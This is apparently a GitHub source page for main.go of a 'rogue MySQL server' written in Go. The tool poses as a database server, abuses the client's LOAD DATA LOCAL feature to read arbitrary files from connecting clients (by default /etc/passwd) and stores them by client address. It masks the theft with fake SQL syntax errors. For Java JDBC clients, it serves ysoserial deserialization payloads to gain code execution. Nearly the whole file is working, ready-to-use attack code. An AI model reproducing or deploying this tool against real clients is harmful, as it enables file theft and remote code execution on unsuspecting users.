-
Notifications
You must be signed in to change notification settings - Fork 80
/
Copy pathmain.go
334 lines (272 loc) · 10.2 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
package main
import (
"crypto/sha1"
_ "embed"
"encoding/hex"
"flag"
"fmt"
log "github.com/sirupsen/logrus"
"gopkg.in/yaml.v2"
"net"
"net/url"
"os"
"os/exec"
"path/filepath"
"regexp"
"rogue_mysql_server/mysql"
"runtime"
"strings"
"sync"
"time"
"vitess.io/vitess/go/sqltypes"
)
type DB struct {
listener *mysql.Listener
Handler mysql.Handler
mapLock sync.Mutex
fileIndex map[uint32]int
config Config
YsoserialOutput map[string][]byte
}
//go:embed config.yaml
var defaultConfig string
type Config struct {
Host string `yaml:"host"`
Port string `yaml:"port"`
VersionString string `yaml:"version_string"`
FileList []string `yaml:"file_list"`
SavePath string `yaml:"save_path"`
AlwaysRead bool `yaml:"always_read"`
FromDatabaseName bool `yaml:"from_database_name"`
MaxFileSize int64 `yaml:"max_file_size"`
Auth bool `yaml:"auth"`
Users []map[string]string `yaml:"users"`
JdbcExploit bool `yaml:"jdbc_exploit"`
YsoserialCommand map[string][]string `yaml:"ysoserial_command"`
AlwaysExploit bool `yaml:"always_exploit"`
}
func NativePassword(password string) string {
if len(password) == 0 {
return ""
}
hash := sha1.New()
hash.Write([]byte(password))
s1 := hash.Sum(nil)
hash.Reset()
hash.Write(s1)
s2 := hash.Sum(nil)
s := strings.ToUpper(hex.EncodeToString(s2))
return fmt.Sprintf("*%s", s)
}
func CmdExec(args []string) []byte {
baseCmd := args[0]
cmdArgs := args[1:]
log.Infof("Exec: %v", args)
cmd := exec.Command(baseCmd, cmdArgs...)
out, err := cmd.Output()
if err != nil {
log.Errorf("Get error in payload generator %s", err)
log.Exit(-1)
}
return out
}
func sanitizeFilename(filename string) string {
r := regexp.MustCompile("[^A-Za-z0-9./_-]")
return r.ReplaceAllString(filename, "")
}
func main() {
formatter := new(log.TextFormatter)
formatter.FullTimestamp = true
formatter.TimestampFormat = "2006-01-02 15:04:05"
log.SetFormatter(formatter)
log.SetOutput(os.Stdout)
cwd, _ := filepath.Abs(filepath.Dir(os.Args[0]))
defaultConfigPath := fmt.Sprintf("%s/%s", cwd, "config.yaml")
argParser := flag.NewFlagSet(os.Args[0], flag.ExitOnError)
configPath := argParser.String("config", defaultConfigPath, "path of the config file")
generateConfig := argParser.Bool("generate", false, "write template config to the path of config argument")
err := argParser.Parse(os.Args[1:])
if err != nil {
log.Errorf("Command line parse error: %s", err)
os.Exit(-1)
}
if *generateConfig {
err := os.WriteFile(*configPath, []byte(defaultConfig), 0644)
if err == nil {
os.Exit(0)
} else {
log.Errorf("Template config write to %s failed, error: %s", *configPath, err)
os.Exit(-1)
}
}
config := Config{}
configData, err := os.ReadFile(*configPath)
if err != nil {
log.Errorf("Config read error: %s", err)
os.Exit(-1)
}
err = yaml.Unmarshal(configData, &config)
if err != nil {
log.Errorf("Config parse error: %s", err)
os.Exit(-1)
}
db := &DB{}
db.fileIndex = make(map[uint32]int)
db.Handler = db
db.config = config
db.YsoserialOutput = map[string][]byte{}
if config.JdbcExploit {
for index, command := range config.YsoserialCommand {
db.YsoserialOutput[index] = CmdExec(command)
}
}
var authServer mysql.AuthServer
if config.Auth {
authServerStatic := mysql.NewAuthServerStatic()
for _, user := range config.Users {
for username, password := range user {
password = NativePassword(password)
if authServerStatic.Entries[username] == nil {
authServerStatic.Entries[username] = []*mysql.AuthServerStaticEntry{
{
MysqlNativePassword: password,
Password: password,
},
}
} else {
authServerStatic.Entries[username] = append(authServerStatic.Entries[username], &mysql.AuthServerStaticEntry{
MysqlNativePassword: password,
Password: password,
})
}
}
}
authServer = authServerStatic
} else {
authServer = &mysql.AuthServerNone{}
}
db.listener, err = mysql.NewListener("tcp", fmt.Sprintf("%s:%s", config.Host, config.Port), authServer, db, config.VersionString, 0, 0)
if err != nil {
log.Errorf("NewListener failed: %s", err)
os.Exit(-1)
}
log.Infof("Server started at [%s:%s]", config.Host, config.Port)
db.listener.Accept()
}
//
// mysql.Handler interface
//
// NewConnection is part of the mysql.Handler interface.
func (db *DB) NewConnection(c *mysql.Conn) {
log.Infof("New client from addr [%s] logged in with username [%s], database [%s], ID [%d]", c.RemoteAddr(), c.User, c.SchemaName, c.ConnectionID)
c.MaxFileSize = db.config.MaxFileSize
if c.ConnAttrs != nil {
log.Info("==== ATTRS ====")
for name, value := range c.ConnAttrs {
if name == "_client_name" && strings.Contains(value, "MySQL Connector") {
c.IsJdbcClient = true
c.SupportLoadDataLocal = true
// 测试发现只有 pymysql 和原生命令行会对这个 flag 真正进行修改
// 而且 Connector/J 默认值为 False, 所以这里做特殊兼容
}
log.Infof("[%s]: [%s]", name, value)
}
log.Info("===============")
}
db.mapLock.Lock()
db.fileIndex[c.ConnectionID] = 0
db.mapLock.Unlock()
}
// ConnectionClosed is part of the mysql.Handler interface.
func (db *DB) ConnectionClosed(c *mysql.Conn) {
log.Infof("Client leaved, Addr [%s], ID [%d]", c.RemoteAddr(), c.ConnectionID)
db.mapLock.Lock()
delete(db.fileIndex, c.ConnectionID)
db.mapLock.Unlock()
}
// ComQuery is part of the mysql.Handler interface.
func (db *DB) ComQuery(c *mysql.Conn, query string, callback func(*sqltypes.Result) error) error {
log.Infof("Client from addr [%s], ID [%d] try to query [%s]", c.RemoteAddr(), c.ConnectionID, query)
// JDBC client exploit
if db.config.JdbcExploit && (db.config.AlwaysExploit || c.IsJdbcClient) {
if query == "SHOW SESSION STATUS" {
log.Infof("Client request `SESSION STATUS`, start exploiting...")
r := &sqltypes.Result{Fields: mysql.SchemaToFields(mysql.Schema{
{Name: "Variable_name", Type: sqltypes.Blob, Nullable: false},
{Name: "Value", Type: sqltypes.Blob, Nullable: false},
})}
t := c.ConnAttrs["t"]
if len(db.YsoserialOutput[t]) == 0 {
for tmp, _ := range db.YsoserialOutput {
t = tmp
break
}
}
log.Infof("Sending [%v] payload to mysql client", t)
r.Rows = append(r.Rows, mysql.RowToSQL(mysql.SQLRow{[]byte{}, db.YsoserialOutput[t]}))
_ = callback(r)
} else if strings.HasPrefix(query, "/* mysql-connector-java-8") {
// 对于 mysql-connector-java-5 和 6,不用发送这些变量也能利用
r := mysql.GetMysqlVars()
_ = callback(r)
} else {
r := &sqltypes.Result{}
_ = callback(r)
}
return nil
}
// mysql LOAD DATA LOCAL exploit
if !c.SupportLoadDataLocal && !db.config.AlwaysRead { // 客户端不支持读取本地文件且没有开启总是读取,直接返回错误
log.Info("Client not support LOAD DATA LOCAL, return error directly")
c.WriteErrorResponse(fmt.Sprintf("You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '%s' at line 1", query))
return nil
}
// default filename, used only if no filename is specified
filename := "/etc/passwd"
if !db.config.FromDatabaseName {
length := len(db.config.FileList)
if length > 0 {
db.mapLock.Lock()
filename = db.config.FileList[db.fileIndex[c.ConnectionID]]
db.fileIndex[c.ConnectionID] = (db.fileIndex[c.ConnectionID] + 1) % length
db.mapLock.Unlock()
} else {
log.Infof("len(FileList) == 0, use [%s] for backup", filename)
}
} else {
decodedName, err := url.QueryUnescape(c.SchemaName)
if err == nil {
filename = decodedName
} else {
log.Infof("Database name [%s] decode error, use [%s] for backup", c.SchemaName, filename)
}
}
// fix ipv6 path
host, _, _ := net.SplitHostPort(c.RemoteAddr().String())
if strings.Index(host, ":") >= 0 {
host = "[" + host + "]"
if runtime.GOOS == "windows" {
host = strings.ReplaceAll(host, ":", "_")
}
}
savePath := fmt.Sprintf("%s/%s", db.config.SavePath, host)
if _, err := os.Stat(savePath); os.IsNotExist(err) {
os.MkdirAll(savePath, 0755)
}
sanitizedFilename := sanitizeFilename(filename)
sanitizedFilename = strings.ReplaceAll(sanitizedFilename, "/", "_")
savePath = fmt.Sprintf("%s/%v_%s", savePath, time.Now().UnixMilli(), sanitizedFilename)
log.Infof("Now try to read file [%s] from addr [%s], ID [%d]", filename, c.RemoteAddr(), c.ConnectionID)
readLength := c.RequestAndSaveFile(filename, savePath)
if readLength == 0 {
log.Infof("Read failed, file may not exist or empty in client")
} else {
log.Infof("Read success, stored at [%s]", savePath)
}
c.WriteErrorResponse(fmt.Sprintf("You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '%s' at line 1", query))
return nil
}
// WarningCount is part of the mysql.Handler interface.
func (db *DB) WarningCount(c *mysql.Conn) uint16 {
return 0
}